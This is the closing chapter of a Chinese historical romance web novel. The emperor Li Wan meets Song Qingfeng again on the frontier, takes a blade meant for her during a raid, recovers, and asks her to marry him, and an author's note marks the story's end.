果然在众多侍卫的搜寻下,李岏很快看见那个女子。 她骑着一匹白色的小马,自远处慢悠悠地走来,长发束在中央,发尾在晚风中飞扬。 七年不见,她早已褪去了稚气,长成了一个大姑娘,因为常年的风吹日晒,皮肤有些发黑,面上透出红。 李岏握着缰绳的手死死地握紧,眼睛眨也不敢眨,生怕一切都是自己的幻觉。 这么多年,他不敢来寻她。 那一夜,她头也不回地跟着李岚走了,他们只怕早结婚生子。 直到今年,他遇见了李岚。 或者说,李岚主动来寻了他。 他才知道,自打两人离开京师后,宋轻风一个人悄悄地走了。这么多年,连李岚也不知她在何处。 李岏看着人越走越近,却在离他还有数步远的地方停了下来。 显然宋轻风也发现了他。 她一时不敢相信的自己的眼睛,怎么也想不到,他本该高坐宫城,怎么会出现在这里。 怎么会出现在自己面前。 只是此刻,马上的他已是成年,一如既往地高贵,即便是穿着普通的衣裳,也难以掩盖通身的气度。 她双眼发花,用力揉了揉,对面的人居然还在,不是做梦。 宋轻风按住快要跳出胸腔的心跳,停在了原地。 李岏打马上前来,两人都瞧见了对方的模样。 宋轻风想起很多年前,那粒落在屋檐下的血,他背部的伤好似还在眼前。 多年不见,似乎都变了,又似乎没变。 以至于宋轻风自然地问出:“你伤好了吗?” 李岏自然地点头道:“好了。” 宋轻风也点了点头,低下头看着脚尖,踢了踢脚蹬,两人一时无话。 “再见。”李岏道。 耳边传来马蹄声,她惊讶地抬头,却见他已当先拍马走了。 宋轻风看着他消失在远处的背影,久久回不过神来。 这次重逢短暂地叫她心惊,原来只是恰巧遇见吗? 一旁的小云道:“风儿姐姐,我们回去吧。” 宋轻风回过神来,点了点头,也翻身上马,马鞭甩起,却到底忍不住回头,瞧见远处烟尘四起,人已成了一粒小黑点。 她摇了摇头,他们分别已是七年,而他们曾相处的时间,却不足两年,所有的过去早就烟消云散,他淡忘了她也好。 何况而今他身份不同,出现在此已是冒着极大的风险,而今走了好,别再到这里来了。 宋轻风回了营地,与众人商议明日之事。 不知不觉又过了几日。 这日众人人追着游寇走到边境荒郊野外,天色已晚便在当地安了营,半夜宋轻风从睡梦中惊醒,感受到脚底的震颤。 她心中一惊,翻身而起,轻声叫醒了众人。 众人寻着声响摸黑过去,却见远处外火光冲天,一支不知何处来的北戎散兵,正被一群村民围住了。 她与几人打好暗号,设了埋伏。 不过几个冷箭发出,北戎人已是惊慌失措,好些人滚落下马。 正要换个地方,哪知突然不知从哪里哭着跑出两个睡眼懵懂,三四岁的孩子,正冲向北戎人。 宋轻风顾不得多想,冲上前去,一把将两个孩子抱进了怀里。 她躲在暗处射箭,本极是优势,而今突然暴露出来,离北戎人极近,乃是大忌。 等北戎人反应过来,一把举起刀来向自己砍来。 可宋轻风自己手里抱着两个孩童,若是松开手去挡,孩子必会暴露在敌人的刀前。 电光火石间,她知道自己此次凶多吉少,只能尽力弯下腰来,将两个孩子护在怀中,脑海中飞快地道:“对不起啊,再也见不到了。” 若是早知今日,前日相遇,她便该与他多说几句话。 刀剑入肉的声音响起,预想中的疼痛却并未出现。 宋轻风睁开眼,却见一道颀长瘦削的白色身影站在身前,将自己完全地笼罩在了身后。 黑暗里李岏转过头来艰难地开口道:“还好我来得及时。”随着他的话语,有血自他的唇边溢出。 而身旁人惊恐的声音此起彼伏:“主上!”刀剑拼杀愈发激烈。 是高守带着人到了。 宋轻风目眦欲裂,松开了孩子一把抱住了李岏。 这才发现他的胸口,插着那柄本该在自己身上的刀! 鲜血正自那伤口处汩汩而出。 宋轻风拼命用手去按,却怎么也按不住,而李岏的脸上已血色尽失,苍白羸弱,她惊恐地大哭起来:“不要死,你不要死。” 李岏却艰难地抬起手来,擦了擦她的眼泪。 他指着远处的身影道:“现在你们自由了,想怎么在一起就怎么在一起。” 宋轻风顺着他的手指的方向看去,李岚砍下敌手的头颅,此刻正向他们走来。 宋轻风收回目光,紧紧抱住李岏,突然想起什么来似地道:“别怕别怕,我这里有药,你一定不会有事的。” 说着就慌乱地自怀里掏药,哪知紧张中,从怀中掏落了一堆零零散散的物什,只是没有药。 她便拨那堆杂物边哭道:“明明还有的,我记得还有的。” “别找了,没用的。” 李岏却自她掏出的一堆杂物里取出一个白色的面人来。 没想到这么多年,这枚面人早就干裂变形,只是面人的嘴角,还紧紧抿着,挂着不情愿的神情。 他看着这个与李岚八分相似的面人,一向冷漠的面容松动,似乎露出委屈的神情来:“宋轻风,我不是谁的替身,我只是嫉妒他,比我先遇到你。” 宋轻风找药的手停下来,复又抱住他道:“不,你从来不是谁的替身。” 说完却见李岏双目紧闭,额上冷汗汩汩而下。 她抱着他,心头充满了恐惧。 她从未想过有一天他会死在自己前面,她在边境这几年,知道他在京师做皇帝,必是高高在上锦衣玉食的日子,便足够了。 可没想到,他哪里有一个皇帝的身型,浑身瘦得只有骨头,而今又要为了自己死在这里。 若是可以重来,几日前重逢,她该抱一抱他,与他说一说这些年她的所经所历。 听他说一说,这些年他过得怎么样。 只是而今这一切都似乎都晚了。 李岚已飞奔到近前,将人从她手里抱走了,宋轻风感到空荡荡的怀里,举目四顾,一片冰寒。 好在在李岚的一番精心调养下,李岏的伤势慢慢恢复过来。 这日宋轻风煮了满满一锅粥去看他。 却见他靠坐在床头,微眯着眼睛看着她进来。 他拍了拍床边,宋轻风端着饭盒坐在一旁。李岏却一把抓过她来,重重地吻落在她的唇上。 “殿下!” 李岏松开一瞬,轻声道:“叫我的名字。” “玩,玩完?”宋轻风不确定地道。 在她窒息前,听到他的声音在耳边低语:“我记得几日前你说,只要我活下来,便要嫁给我。” “这次,是不是又要骗我?”—— 作者有话说:完结撒花![烟花][玫瑰][烟花]《 》